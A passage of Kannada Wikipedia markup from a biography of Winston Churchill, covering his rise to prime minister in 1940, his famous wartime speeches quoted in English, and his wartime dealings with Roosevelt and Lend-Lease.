ರಕ್ಷಣೆಯನ್ನು ಸಮರ್ಥವಾಗಿ ನಿಭಾಯಿಸಿದ್ದರು. ಆದಾಗಿಯೂ ಚಂಬರ್ಲೇನ್ ಮತ್ತು ಇನ್ನುಳಿದ ಯುದ್ದ ಸಮಿತಿ ಸದಸ್ಯರುಗಳು ಒಪ್ಪಲಿಲ್ಲ ಮತ್ತು ಈ ಕಾರಣದಿಂದ ನಾರ್ವೆ ದೇಶದ ಮೇಲೆ ನಡೆಸಿದ ಜರ್ಮನ್ ಕಾಯಾಚರಣೆಯ ಯಶಸ್ಸು ವಿಳಂಬವಾಯಿತು. [[File:Wc0107-04780r.jpg|thumb|1940ರ ಬ್ರಿಟನ್ ಯುದ್ಧದಲ್ಲಿ ವಾಯುದಾಳಿ ಎಚ್ಚರಿಕೆ ನೀಡುವಾಗ ಚರ್ಚಿಲ್‌ ಹೆಲ್ಮೆಟ್ ಧರಿಸಿರುವುದು]] ===ಯುದ್ಧದ ಕಹಿ ಅಧ್ಯಾಯದ ಆರಂಭ=== {{See also|Attack on Mers-el-Kébir}} ೧೦ ಮೇ ೧೯೪೦ ರಂದು ಒಂದು ತಾಸಿನ ಮೊದಲು ಫ್ರಾನ್ಸ್ ಮೇಲಿನ ಜರ್ಮನ್ ಆಕ್ರಮಣವು ಮಿಂಚಿನ ವೇಗದಲ್ಲಿ ಸಣ್ಣ ದೇಶಗಳತ್ತ ಮುಂದುವರೆದರೂ, ನಾರ್ವೆ ಮೇಲಿನ ಧಾಳಿಯ ಸೋಲು, ದೇಶವು ಚಂಬರ್ಲಿನ್ ಅವರ ಯುದ್ದ ಸಾರಥ್ಯದ ಮೇಲೆ ವಿಶ್ವಾಸ ಕಳೆದುಕೊಳ್ಳಲು ಕಾರಣವಾಯಿತು ಅದರಿಂದ ಚಂಬರ್ಲಿನ್ ಅವರು ತಮ್ಮ ಸ್ಥಾನಕ್ಕೆ ರಾಜೀನಾಮೆ ನೀಡಿದರು. ಸಾಮಾನ್ಯವಾಗಿ ಘಟನೆಗಳ ಅವಲೋಕನದ ವಿವರವನ್ನು ಅವಲೋಕಿಸಿದಾಗ, ಲಾರ್ಡ್ ಹ್ಯಾಲಿಫ್ಯಾಕ್ಸ್ ಅವರು ಪ್ರಧಾನಿಯವರನ್ನು ಹುದ್ದೆಯಿಂದ ಕೆಳಗಿಳಿಸಿದರು. ಕಾರಣವೆಂದರೆ, ಪ್ರಧಾನಿಯವರು, ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್‌ನ ಬದಲಾಗಿ ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್‌‌ನ ಒಬ್ಬ ಸದಸ್ಯರಾಗಿ ಪರಿಣಾಮಕಾರಿಯಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿಲ್ಲವೆಂದು ನಂಬಿದ್ದರು. ಆದಾಗಿಯೂ ಪ್ರಧಾನ ಮಂತ್ರಿಗಳು ಸಾಂಪ್ರದಾಯಕವಾಗಿ ರಾಜನಿಗೆ ಆಡಳಿತದಲ್ಲಿ ಮುಂದುವರೆಯುವಂತೆ ಸಲಹೆ ನೀಡಲಿಲ್ಲ. ಚಂಬರ್ಲಿನ್ ಅವರು ಹೌಸ್ ಆಫ್ ಕಾಮನ್‌ನ ಮೂರು ಮುಖ್ಯ ಪಾರ್ಟಿಗಳ ಮೇಲೆ ಅಧೀನತೆ ಹೊಂದಿರುವ ವ್ಯಕ್ತಿಯನ್ನು ಬಯಸಿದ್ದರು. ಚಂಬರ್ಲಿನ್, ಹ್ಯಾಲಿಫ್ಯಾಕ್ಸ್,ಚರ್ಚಿಲ್‌ ಮತ್ತು ಡೇವಿಡ್ ಮಾರ್ಗಿಸನ್ ಅವರ ನಡುವೆ ನಡೆದ ಮಾತುಕತೆಯ ನಂತರ, ಸರ್ಕಾರದ ಮುಖ್ಯಸ್ಥ ವ್ಹಿಪ್ ಅವರು ಚರ್ಚಿಲ್ ಅವರನ್ನು ಶಿಪಾರಸ್ಸು ಮಾಡಿದರು. ಸಾಂವಿಧಾನಿಕ ರಾಜನಾದ ಜಾರ್ಜ್ VI ಅವರು ಚರ್ಚಿಲ್ ಅವರನ್ನು ಪ್ರಧಾನಿಯಾಗುವಂತೆ ಕೇಳಿಕೊಂಡರು. ಚರ್ಚಿಲ್‌ ಅವರ ಮೊದಲ ಕೆಲಸವು ಚಂಬರ್ಲಿನ್ ಅವರಿಗೆ ತಮಗೆ ಬೆಂಬಲ ನೀಡಿದ್ದಕ್ಕಾಗಿ ಅಭಿನಂದಿಸಿದುದಾಗಿತ್ತು.<ref>ಸೆಲ್ಫ್, ರಾಬರ್ಟ್ (೨೦೦೬). ''ನೆವಲ್ಲಿ ಚೆಂಬರ್ಲಿನ್: ಎ ಬಯೋಗ್ರಫಿ'' , ಪುಟ. ೪೩೧. ಆ‍ಯ್‌ಶ್‌ಗೇಟ್. ISBN ೯೭೮-೦-೭೫೪೬-೫೬೧೫-೯.</ref> [[File:Winston Churchill As Prime Minister 1940-45 H10688.jpg|thumb|left|ಚರ್ಚಿಲ್‌, ಜೂನ್ 1941ರಲ್ಲಿ ಸ್ಟೆನ್ ಸಬ್‌ಮಷಿನ್ ಗನ್‌ನಿಂದ ಗುರಿಯಿಡುತ್ತಿರುವುದು.ಚರ್ಚಿಲ್‌ ಎಡ ಭಾಗದಲ್ಲಿ ಪಿನ್ ಸ್ಟ್ರಿಪ್ಡ್ ಸೂಟ್ ಮತ್ತು ಟ್ರಿಬ್ಲಿ ಧರಿಸಿದ ವ್ಯಕ್ತಿ ಅವರ ಅಂಗರಕ್ಷಕ ವಾಲ್ಟರ್ ಎಚ್.ಥಾಮ್ಸನ್]] ಹಲವರಲ್ಲಿ ಪ್ರಪ್ರಥಮವಾಗಿ ಚರ್ಚಿಲ್‌ ಅವರು ಎರಡನೇ ಮಹಾಯುದ್ದದ ಅವಧಿಯಲ್ಲಿ ಹಿಟ್ಲರ್‌ನಿಂದ ಆತಂಕ ಹೆಚ್ಚುತ್ತರುವುದನ್ನು ಗುರುತಿಸಿದರು. ಆದರೆ ಅವರ ಎಚ್ಚರಿಕೆಯು ನಿರ್ಲಕ್ಷಿಸಲ್ಪಟ್ಟಿತು. ಆದಾಗಿಯೂ ಬ್ರಿಟಿಷ್ ಸಾರ್ವಜನಿಕ ಘಟಕ ಮತ್ತು ರಾಜಕೀಯ ಭಾವುಕತೆಯು ಪ್ರಧಾನ ಜರ್ಮನಿಯೊಂದಿಗೆ ಶಾಂತಿ ಒಪ್ಪಂದ ಏರ್ಪಡಲು ಕಾರಣವಾಯಿತು. ಅವರ ಪರ ವಿದೇಶಾಂಗ ಕಾರ್ಯದರ್ಶಿಯಾಗಿದ್ದ ಲಾರ್ಡ್ ಹ್ಯಾಲಿಫ್ಯಾಕ್ಸ್ ಅವರೊಂದಿಗೆ ಮಾತುಕತೆ ನಡೆದಾಗಿಯೂ, ಚರ್ಚಿಲ್ ಅವರು ಹಿಟ್ಲರ್‍ ಜರ್ಮನಿಯೊಂದಿಗೆ ಕದನ ವಿರಾಮವನ್ನು ಪರಿಗಣಿಸಲು ತಿರಸ್ಕರಿಸಿದರು.<ref>ಬನ್ಗೆ ೨೦೦೦, ಪುಟ. ೧೧</ref> ಅವರ ವಾಕ್‌ಚಾತುರ್ಯದ ಉಪಯೋಗದಿಂದ ಸಾರ್ವಜನಿಕರಲ್ಲಿ ಶಾಂತಿ ಸಂಧಾನದ ಠರಾವನ್ನು ಅಂಗೀಕರಿಸಲು ವಿರೋಧ ವ್ಯಕ್ತವಾದ್ದರಿಂದ ಬ್ರಿಟಿಷರು ದೀರ್ಘಾವಧಿಯ ಯುದ್ದಕ್ಕೆ ಸನ್ನದ್ದರಾಗಬೇಕಾಯಿತು.<ref>ಜೆನ್ಕಿನ್ಸ್ , ಪುಪು. ೬೧೬–೪೬</ref> ಮುಂಬರುವ ಯುದ್ದದ ಕುರಿತು ವಿಶ್ಲೇಶಣೆ ಮಂಡಿಸುತ್ತಾ, ಚರ್ಚಿಲ್ ಅವರು ೧೮ ಜೂನ್ ೧೯೪೦ ರಂದು ಕಾಮನ್ ಹೌಸ್‌ನಲ್ಲಿ ಮಾಡಿದ ತಮ್ಮ "ಫೈನೆಸ್ಟ್ ಹವರ್‍" ಭಾಷಣದಲ್ಲಿ ಮಾತನಾಡುತ್ತಾ,"ನಾನು ಬ್ರಿಟನ್ ಯುದ್ದ ಪ್ರಾರಂಭವಾಗುವುದನ್ನು ನಿರೀಕ್ಷಿಸುತ್ತಿದ್ದೇನೆ" ಎಂದರು.<ref>ಜೆನ್ಕಿನ್ಸ್ , ಪು. ೬೨೧</ref> ಜರ್ಮನಿಯೊಂದಿಗೆ ಕದನವಿರಾಮವನ್ನು ತಿರಸ್ಕರಿಸುವುದರ ಮೂಲಕ ಚರ್ಚಿಲ್ ಅವರು [[ಬ್ರಿಟೀಷ್ ಸಾಮ್ರಾಜ್ಯ|ಬ್ರಿಟಿಷ್ ಸಾಮ್ರಾಜ್ಯ]]ದಲ್ಲಿ ನಿಯಂತ್ರಣವನ್ನು ಕಾಯ್ದುಕೊಂಡರು ಮತ್ತು ೧೯೪೨–೪೫ ವರೆಗಿನ ಸಂಯುಕ್ತ ಧಾಳಿಗಳಿಗೆ ನೆಲೆಯೊಂದನ್ನು ರಚಿಸಿಕೊಂಡರು. [[ಸೊವಿಯೆಟ್ ಒಕ್ಕೂಟ|ಸೋವಿಯತ್ ಒಕ್ಕುಟ]] ಮತ್ತು ಪಶ್ಚಿಮ ಯುರೋಪ್‌ಗಳ ವಶಕ್ಕೆ ಬ್ರಿಟನ್ ವೇದಿಕೆಯಾಗಿ ಪರಿಣಮಿಸಿತು. ಈ ಹಿಂದಿನ ಟೀಕೆಗಳನ್ನು ಅನುಲಕ್ಷಿಸಿ ಚರ್ಚಿಲ್ ಅವರು ಯುದ್ದದ ಕಾರ್ಯತಂತ್ರ ರೂಪಣೆಗೆ ಏಕೈಕ ಮಂತ್ರಿಯೋರ್ವರನ್ನು ನಿಯೋಜಿಸುವುದರ ಬದಲಾಗಿ ಹೆಚ್ಚುವರಿಯಾಗಿ ಒಂದು ರಕ್ಷಣಾ ಮಂತ್ರಿ ಹುದ್ದೆಯನ್ನು ರಚಿಸಿದರು. ಅವರು ತಕ್ಷಣ ತಮ್ಮ ಸ್ನೇಹಿತ ಮತ್ತು ನಂಬಿಕಸ್ಥ, ಕೈಗಾರಿಕಾ ಉದ್ಯಮಿ ಮತ್ತು ದಿನಪತ್ರಿಕೆ ವ್ಯಾಪಾರಿ ಲಾರ್ಡ್ ಬೀವರ್‌ಬ್ರೂಕ್‌ರನ್ನು ಏರ್‌ಕ್ರಾಫ್ಟ್ ಉತ್ಪಾದನೆಯ ಉಸ್ತುವಾರಿಯನ್ನು ನೋಡಿಕೊಳುವುದಕ್ಕೆ ನೇಮಿಸಿದರು. ಬಿವೇರ್‌ ಬ್ರೂಕ್ ಅವರ ಕುಶಾಗ್ರ ವ್ಯಾಪಾರಿ ಬುದ್ಧಿಯು ಬ್ರಿಟನ್‌ಗೆ ವಿಮಾನಗಳ ಉತ್ಪಾದನೆಗೆ ಮತ್ತು ತಂತ್ರಜ್ಞಾನದಲ್ಲಿ ಒಳ್ಳೆಯ ಉತ್ತೇಜನ ನೀಡಿತು ಮತ್ತು ನಂತರದ ಯುದ್ದದಲ್ಲಿ ವ್ಯತ್ಯಾಸದ ಅನುಭವ ನೀಡಿತು.<ref>ಅಲೆನ್, ಹರ್ಬರ್ಟ್ ರೇಮಂಡ್. ಹೂ ಓನ್ ದ ಬ್ಯಾಟಲ್ ಆಫ್ ಬ್ರಿಟನ್? ಲಂಡನ್: ಆರ್ಥರ್ ಬರ್ಕರ್, ೧೯೭೪. ISBN ೦-೧೯-೫೭೯೫೫೧-೨.</ref> [[File:Churchill CCathedral H 14250.jpg|thumb|ಕವೆಂಟ್ರಿ ಕೆಥಡ್ರಾಲ್ ಭಗ್ನಾವಶೇಷಗಳ ಮೂಲಕ ಹಾದು ಹೋಗುತ್ತಿರುವ ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್ 1941]] ಚರ್ಚಿಲ್‌‌ರ ಭಾಷಣಗಳು ಬ್ರಿಟೀಷ್ ಯುದ್ಧವ್ಯೂಹಕ್ಕೆ ಹೆಚ್ಚಿನ ಉತ್ತೇಜನವನ್ನು ನೀಡುವಂತವಾಗಿದ್ದವು. ಪ್ರಧಾನಿಯಾದ ನಂತರ ಅವರು ಪ್ರಥಮವಾಗಿ ಮಾಡಿದ ಭಾಷಣದಲ್ಲಿ, "ನಾನು ಕೊಡುಗೆಗಾಗಿ ಏನನ್ನೂ ಹೊಂದಿಲ್ಲ ಆದರೆ ರಕ್ತ, ಶ್ರಮ, ಕಣ್ಣೀರು ಮತ್ತು ಬೆವರನ್ನು ಕೊಡಲು ತಯಾರಿದ್ದೇನೆ" ಎಂದಿದ್ದು ಭಾರೀ ಪ್ರಸಿದ್ದವಾಯಿತು. ನಂತರ ಈ ಮಾತಿಗೆ ಸಾಮ್ಯವಾಗಿರುವಂತಹದ್ದೇ ಇನ್ನೆರಡು ಮಾತುಗಳನ್ನು ಬ್ರಿಟನ್ ಯುದ್ದಕ್ಕೂ ಮುಂಚೆ ಹೇಳಿದ್ದರು. ಅವುಗಳಲ್ಲಿ ಒಂದು ಈ ಕೆಳಗಿನ ಮಾತುಗಳನ್ನು ಒಳಗೊಂಡಿತ್ತು: {{quote|... we shall fight in France, we shall fight on the seas and oceans, we shall fight with growing confidence and growing strength in the air, we shall defend our island, whatever the cost may be, [[we shall fight on the beaches]], we shall fight on the landing grounds, we shall fight in the fields and in the streets, we shall fight in the hills; we shall never surrender.<ref name="centre-beaches">{{cite web|url=http://www.winstonchurchill.org/learn/speeches/speeches-of-winston-churchill/128-we-shall-fight-on-the-beaches|title=We Shall Fight on the Beaches, 4 June 1940|accessdate=20 December 2007|publisher=Churchill Centre}}</ref>}} ಮತ್ತೊಂದು: {{quote|Let us therefore brace ourselves to our duties, and so bear ourselves, that if the British Empire and its Commonwealth last for a thousand years, men will still say, '[[This was their finest hour]]'.<ref name="centre-finesthour">{{cite web|url=http://www.winstonchurchill.org/learn/speeches/speeches-of-winston-churchill/122-their-finest-hour|title=Their Finest Hour, 18 June 1940|accessdate=20 December 2007|publisher=Churchill Centre}}</ref>}} [[File:Brooke - Churchill - Montgomery.jpg|thumb|ಫೀಲ್ಡ್ ಮಾರ್ಷಲ್ ಅಲಾನ್ ಬ್ರೂಕ್(ಎಡ), ಫೀಲ್ಡ್ ಮಾರ್ಷಲ್ ಬೆರ್ನಾರ್ಡ್ ಮೊಂಟ್ಗೊಮೇರಿ ಜೊತೆ ಚರ್ಚಿಲ್‌ 1944]] ಬ್ರಿಟನ್ ಯುದ್ದದ ಉತ್ತುಂಗ ಸ್ಥಿತಿಯಲ್ಲಿ ಅವರ ಹಾಯಿಹಗ್ಗದ ತರಹದ ಸಮೀಕ್ಷೆಯ ಪರಿಸ್ಥಿತಿಯ ನೆನಪಿಡಬಹುದಾದ ಲೈನ್, "ಮಾನವ ಸಂಘರ್ಷದ ರಣರಂಗವಿಲ್ಲದೇ ಹಲವಾರು ಜನರಿಂದ ''[[ಕೆಲವು ಜನರವರೆಗೆ]]'' ಹಲವಾರು ದೇಶಗಳು ಆಳಲ್ಪಟ್ಟಿವೆ" ಎಂಬ ವಾಕ್ಯವನ್ನೂ ಒಳಗೊಂಡಿತ್ತು. ಇದು ಗೆದ್ದು ಬಂದಂತಹ ಆರ್‌ಎಎಫ್‌ ಫೈಟರ್‌ ಫೈಲಟ್‌ಗಳು ಅವರಿಗೆ ಅಧೀನರಾಗುವಂತಹ ಪರಿಸ್ಥಿತಿಯುಂಟುಮಾಡಿತು.<ref>ಸ್ಪೀಚ್ ಟು ದ ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ಆನ್ ೨೦ ಅಗಸ್ಟ್ ೧೯೪೦</ref> ಅವರು ಪ್ರಸ್ತುತದಲ್ಲಿ ಬ್ಯಾಟಲ್ ಆಫ್ ಬ್ರಿಟನ್ ಬಂಕರ್ ಎಂದು ಕರೆಯಲ್ಪಡುವ ಆರ್‌ಎ‌ಎಫ್ ಅಕ್ಸ್‌ಬ್ರಿಜ್‌ನಲ್ಲಿ ೧೬ ಅಗಸ್ಟ್ ೧೯೪೦ ರಂದು ಮೊದಲು ತಮ್ಮ ಎಕ್ಸಿಟ್ ಫಾರ್ಮ್ ಸಂಖ್ಯೆ ೧೧ಗುಂಪಿನ ಅಂಡರ್‌ಗ್ರೌಂಡ್ ಬಂಕರ್ ಬಗ್ಗೆ ಈ ಮತುಗಳನ್ನು ಹೇಳಿದರು. ೧೦ ನವೆಂಬರ್ ೧೯೪೨ ರಲ್ಲಿ ಲಂಡನ್‌ನ ಮ್ಯಾನ್‌ಷನ್ ಹೌಸ್‌ನ ಲಾರ್ಡ್ ಮೇಯರ್ಸ್ ಲ್ಯುಂಚಿಯಾನ್‌ನಲ್ಲಿ ಸೆಕೆಂಡ್ ಬ್ಯಾಟಲ್ ಆಫ್ ಅಲ್ ಅಲಾಮೈನ್‌ನಲ್ಲಿನ ಅಸಂಬಂಧಿತ ಜಯಕ್ಕೆ ಪ್ರತಿಕ್ರಿಯೆಯಾಗಿ ಅವರು ನೀಡಿದ ಭಾಷಣವು ಅವರ ಅತ್ಯಂತ ಸ್ಮರಣೀಯ ಭಾಷಣವಾಗಿತ್ತು: {{quote|This is not the end. It is not even the beginning of the end. But it is, perhaps, the end of the beginning.<ref name="centre-endofthebeginning">{{cite web|url=http://www.winstonchurchill.org/learn/speeches/quotations|title=Famous Quotations and Stories|accessdate=28 August 2009|publisher=Churchill Centre}}</ref>}} ಜೀವನಾಧಾರಕ್ಕೆ ಹೆಚ್ಚಿನದೇನನ್ನೂ ಹೊಂದದೇ ಅಥವಾ ಬ್ರಿಟಿಷ್ ಜನರಿಗೆ ಕೊಡಮಾಡಲು ಯಾವುದೇ ಒಳ್ಳೆಯ ಸುದ್ದಿಯಿಲ್ಲದೇ, ಚರ್ಚಿಲ್ ಅಪಾಯದ ಸ್ಪಷ್ಟತೆ ಇದ್ದರೂ ಬೇಕಂತಲೇ ಅದನ್ನು ಸವಾಲಾಗಿ ತೆಗೆದುಕೊಂಡರು. "ವಾಕ್ ಶಕ್ತಿ" ಯ ಬಗ್ಗೆ ಬರೆಯುತ್ತಾ ಚರ್ಚಿಲ್ ಅವರು "ಇದನ್ನು ಯಾರಿಂದಾದರೂ ಅನುಗ್ರಹಿಸಲೂ ಸಾಧ್ಯವಿಲ್ಲ ಮತ್ತು ಪೂರ್ತಿಯಾಗಿ ಯಾರಿಂದಲೂ ಪಡೆದುಕೊಳ್ಳಲೂ ಸಾಧ್ಯವಿಲ್ಲ, ಆದರೆ ಬೆಳೆಸಲ್ಪಡುತ್ತದೆ." ಆದರೆ ಎಲ್ಲವೂ ಕೂಡ ಅವರ ಮಾತಿನ ಮೂಲಕ ಆಕರ್ಷಿಸಲ್ಪಡುವುದಿಲ್ಲ. ಎಲ್ಲರೂ ಆಡಂಭರದ ಭಾಷಣದಿಂದ ಮರುಳಾಗುವುದಿಲ್ಲ. ಆಸ್ಟ್ರೇಲಿಯಾದ ಪ್ರಧಾನಿಯಾಗಿದ್ದ ರಾಬರ್ಟ್ ಮೆಂಜೀಸ್ ಅವರು ಸ್ವಂತಕ್ಕೆ ಅನುವಾದಕಾರನನ್ನು ಹೊಂದಿದ್ದರು ಮತ್ತು ಎರಡನೇ ಮಹಾಯುದ್ದದ ಸಮಯದಲ್ಲಿ ಚರ್ಚ್‌ಲ್‌ ಅವರ ಬಗ್ಗೆ ಹೇಳುತ್ತಾ, "ಅವರ ನಿಜವಾದ ನಿರಂಕುಶಾಧಿಕಾರವು ಉಜ್ವಲವಾದ ಮಾತುಗಳಿಂದ ಸಿದ್ದಿಸಿತ್ತು ಮತ್ತು ನನ್ನ ಮನಸ್ಸಿಗೆ ಎಷ್ಟು ಆಕರ್ಷಣೀಯವಾಗಿತ್ತೆಂದರೆ, ಸಂದಿಗ್ಧ ವಿಷಯ ಮತ್ತು ಸನ್ನಿವೇಶಗಳೆಲ್ಲವನ್ನೂ ಕೂಡಾ ಆಚೆಗಿರಿಸಿಬಿಡುತ್ತಿದ್ದೆ" ಎಂದರು.<ref>{{cite web|last=Menzies|first=Robert|url=http://www.oph.gov.au/menzies/churchillandthewarcabinet.htm|title=Menzies; 1941 War Diary – Churchill and the War Cabinet|accessdate=23 December 2007|archive-date=28 ಡಿಸೆಂಬರ್ 2007|archive-url=https://web.archive.org/web/20071228111033/http://www.oph.gov.au/menzies/churchillandthewarcabinet.htm|url-status=dead}}</ref> ಮತ್ತೊಂದು ಇದೇ ರೀತಿಯ ಬರಹವು ಹೀಗೆ ಹೇಳುತ್ತದೆ, "ಅವರು ವಿರಾಮವಿಲ್ಲದೇ ದುಡಿಯುವವರ ಶಬ್ದಗಳಿಂದಲೇ ತಮ್ಮ ತಲೆಯಲ್ಲಿ ಉಪಾಯಗಳನ್ನು ಬೆಳೆಸಿಕೊಂಡರು.... ಮತ್ತು ತಮ್ಮಷ್ಟಕ್ಕೇ ಜೀತದಾಳುಗಳ ಕುರಿತ ಎಲ್ಲಾ ಸತ್ಯಗಳನ್ನು ಮನವರಿಕೆ ಮಾಡಿಕೊಂಡು, ಒಂದು ವೇಳೆ ಇದಕ್ಕೆ ಒಂದು ಭಾರಿ ಅನುಮತಿ ನೀಡಿದರೆ ಅದು ತಮ್ಮ ವಾಕ್ ಶಕ್ತಿಯಿಂದ ಅನಾಗರಿಕ ವ್ಯವಸ್ಥೆಯನ್ನು ಲಂಗುಲಗಾಮಿಲ್ಲದೇ ಜಾರಿಗೊಳಿಸಿದಂತಾಗುತ್ತದೆ ಎಂದುಕೊಂಡರು."<ref>{{cite book|first=John|last=Denson|title=The Costs of War: America's Pyrrhic Victories|location=New York|publisher=Prentice Hall, Inc.|isbn=1-56000-319-7|page=259|year=1997}}</ref> ===ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಜೊತೆಗಿನ ಸಂಬಂಧಗಳು=== [[File:Winston Churchill 1941 photo by Yousuf Karsh.jpg|thumb|left|205px|ಚರ್ಚಿಲ್‌ ಡಿಸೆಂಬರ್ 1941ರಲ್ಲಿ ಕೆನಡಾದ ಸಂಸತ್ತಿನಲ್ಲಿ ಭಾಷಣ ಮುಗಿಸಿದ ನಂತರ]] [[File:Cairo conference.jpg|thumb|1943ರ ಕೈರೋ ಸಭೆಯಲ್ಲಿ ಜೆನರಾಲಿಸಿಮೊ ಚಿಯಾಂಗ್ ಕೈ-ಶೇಕ್, ಫ್ರ್ಯಾಂಕ್ಲಿನ್ ಡಿ ರೂಸ್ವೆಲ್ಟ್ ಮತ್ತು ಚರ್ಚಿಲ್]] ಚರ್ಚಿಲ್ ಅವರು ಅಮೆರಿಕಾ ಅಧ್ಯಕ್ಷ ಫ್ರಾಂಕ್ಲಿನ್ ಡಿ ರೂಸ್‌ವೆಲ್ಟ್ ಅವರೊಂದಿಗೆ ಉತ್ತಮ ಬಾಂಧವ್ಯವನ್ನು ಹೊಂದಿದ್ದರು ಮತ್ತು ಉತ್ತರ ಅಟ್ಲಾಂಟಿಕ್ ಜಲಮಾರ್ಗದ ಮೂಲಕ ಆಹಾರ, ತೈಲ ಮತ್ತು ಯುದ್ದ ಶಸ್ತ್ರಾಸ್ತ್ರಗಳ ವ್ಯಾಪಾರ ವಹಿವಾಟಿನಲ್ಲಿ ಯಶಸ್ವಿಯಾದರು.<ref name="Lucaks">ಜಾನ್ ಲುಕಾಕ್ಸ್ [http://www.americanheritage.com/articles/magazine/ah/2008/4/2008_4_28.shtml ] {{Webarchive|url=https://web.archive.org/web/20091003042249/http://www.americanheritage.com/articles/magazine/ah/2008/4/2008_4_28.shtml |date=2009-10-03 }} "ಚರ್ಚಿಲ್‌ ಆಫರ್ಸ್ ಟಾಯಿಲ್ ಆ‍ಯ್‌೦ಡ್ ಟೀಯರ್ಸ್ ಟು ಎಫ್‌ಡಿಆರ್," ''ಅಮೆರಿಕನ್ ಹೆರಿಟೇಜ್'' , ಸ್ಪ್ರಿಂಗ್/ಸಮ್ಮರ್ ೨೦೦೮</ref> ಇದೇ ಕಾರಣದಿಂದ ಚರ್ಚಿಲ್ ಅವರು, ೧೯೪೦ ರಲ್ಲಿ ರೂಸ್‌ವೆಲ್ಟ್‌ ಅವರು ಪುನಃ ಆಯ್ಕೆಯಾದ ಮೇಲೆಯೂ ಮುಂದುವರೆಸಿದರು. ಪುನರ್‌ಆಯ್ಕೆಯಾದ ನಂತರ ರೂಸ್‌ವೆಲ್ಟ್‌ ಅವರು ಹಣ ಪಾವತಿ ಮಾಡದ ಹೊರತಾಗಿಯೂ ಬ್ರಿಟನ್‌ಗೆ ಯುದ್ದೋಪಕರಣಗಳನ್ನು ಮತ್ತು ಹಡಗು ಮಾರ್ಗವನ್ನು ಒದಗಿಸಲು ಹೊಸದೊಂದು ವಿಧಾನವನ್ನು ಅಳವಡಿಸಿದರು. ಸರಳವಾಗಿ ಹೇಳುವುದಾದರೆ, ರೂಸ್‌ವೆಲ್ಟ್ ಈ ತೀವ್ರ ದುಬಾರಿ ಸೇವೆಗೆ ಮರುಪಾವತಿ ಮಾಡುವುದು ಯುಎಸ್ ಅನ್ನು ಸಮರ್ಥಿಸುವಂತೆ ಮಾಡುತ್ತದೆ ಎಂಬುದಾಗಿ ಮನವೊಲಿಸಿದರು; ಮತ್ತು ಆದ್ದರಿಂದ ಲೆಂಡ್-ಲೀಸ್ (ಕಡಸಾಲ) ಪಾಲಿಸಿಯು ಜಾರಿಗೆ ಬಂದಿತು. ಚರ್ಚಿಲ್ ಅವರು ಯುದ್ದಸಾಮಗ್ರಿಗಳ ವಿಷಯವಾಗಿ ರೂಸ್‌ವೆಲ್ಟ್‌ ಅವರೊಂದಿಗೆ ೧೨ ಭಾರಿ ಸಭೆಗಳನ್ನು ನಡೆಸಿದರು. ಈ ಮಾತುಕತೆಯಲ್ಲಿ ಅಟ್ಲಾಂಟಿಕ್ ಅಧಿಕಾರ ಪತ್ರ, ಯುರೋಪ್‌ನ ಮೊದಲ ಯುದ್ದ ತಂತ್ರ, ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರಗಳ ಘೋಷಣೆ ಮತ್ತು ಇನ್ನಿತರ ಯುದ್ದ ನಿಯಮಗಳು ಸೇರಿದ್ದವು. ಪರ್ಲ್ ಹಾರ್ಬರ್‍ ಮೇಲೆ ಧಾಳಿ ಮಾಡಿದ ನಂತರ, ಯುಎಸ್ ದೇಶದ ಸಹಾಯ ನಿರೀಕ್ಷಿಸಿದ ಚರ್ಚಿಲ್ ಅವರ ಮೊದಲ ಚಿಂತನೆಯೆಂದರೆ, "೨೬ ಡಿಸೆಂಬರ್‍ ೧೯೪೧ ರಂದು ನಾವು ಯುದ್ದವನ್ನು ಗೆದ್ದಿದ್ದೇವೆ!" ಎಂಬ ಘೋಷಣೆ ಮಾಡುವುದಾಗಿತ್ತು.<ref>{{cite book|last=Stokesbury|first=James L.|title=A Short History of WWII|publisher=William Morrow and Company, Inc.|year=1980|location=New York|page=171|isbn=0-688-03587-6}}</ref> ೨೬ ಡಿಸೆಂಬರ್ ೧೯೪೧ ರಂದು ಯುಎಸ್‌ ಕಾಂಗ್ರೆಸ್ ದೇಶದ ಜಂಟಿ ಸಭೆಯನ್ನು ಉದ್ದೇಶಿಸಿ ಚರ್ಚಿಲ್ ಅವರು ಭಾಷಣ ಮಾಡಿದರು ಮತ್ತು ಜರ್ಮನಿ ಮತ್ತು ಜಪಾನ್ ದೇಶವನ್ನು ಕುರಿತು "ನಾವು ಯಾವ ರೀತಿಯ ಜನರೆಂದು ಅವರು ತಿಳಿದುಕೊಂಡಿರುವರು?" ಎಂದು ಪ್ರಶ್ನಿಸಿದರು.<ref>[http://www.ibiblio.org/pha/policy/1941/411226a.html ಪ್ರೈಮ್ ಮಿನಿಸ್ಟರ್ ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್ಸ್ ಅಡ್ರೆಸ್ ಟು ದ ಕಾಂಗ್ರೆಸ್ ಆಫ್ ದ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್] ೧೯೪೧, IBiblio.org</ref> ಚರ್ಚಿಲ್ ಹ್ಯೂ ಡಾಲ್ಟನ್‌ರ ಮಿನಿಸ್ಟ್ರಿ ಆಫ್ ಇಕನಾಮಿಕ್ ವಾರ್‌ಫೇರ್‌ನ ನಿರ್ದೇಶನದಡಿಯಲ್ಲಿ ಸ್ಪೆಷಲ್ ಆಪರೇಷನ್ಸ್ ಎಕ್ಸಿಕ್ಯೂಟಿವ್ (ಎಸ್‌ಒಇ) ಅನ್ನು ಪ್ರಾರಂಭಿಸಿದರು, ಅದು ಗಮನಾರ್ಹವಾದ ಯಶಸ್ಸಿನ ಜೊತೆಗೆ ವಶಪಡಿಸಿಕೊಂಡ ವಿಭಾಗಗಳಲ್ಲಿ ರಹಸ್ಯ, ವಿಧ್ವಂಸಕ ಮತ್ತು ವಿಭಾಜಕ ಕಾರ್ಯಾಚರಣೆಗಳನ್ನು ಸ್ಥಾಪಿಸಿತು, ಆಚರಣೆಗೆ ತಂದಿತು. ರಷ್ಯನ್ನರು ಅವರನ್ನು "ಬ್ರಿಟಿಷ್ ಬುಲ್‌ಡಾಗ್" ಎಂದೇ ಗುರುತಿಸಿದರು. ಚರ್ಚಿಲ್‌ ಅವರ ಆರೋಗ್ಯವು ದುರ್ಬಲಗೊಳ್ಳತೊಡಗಿತು. ಅವರು 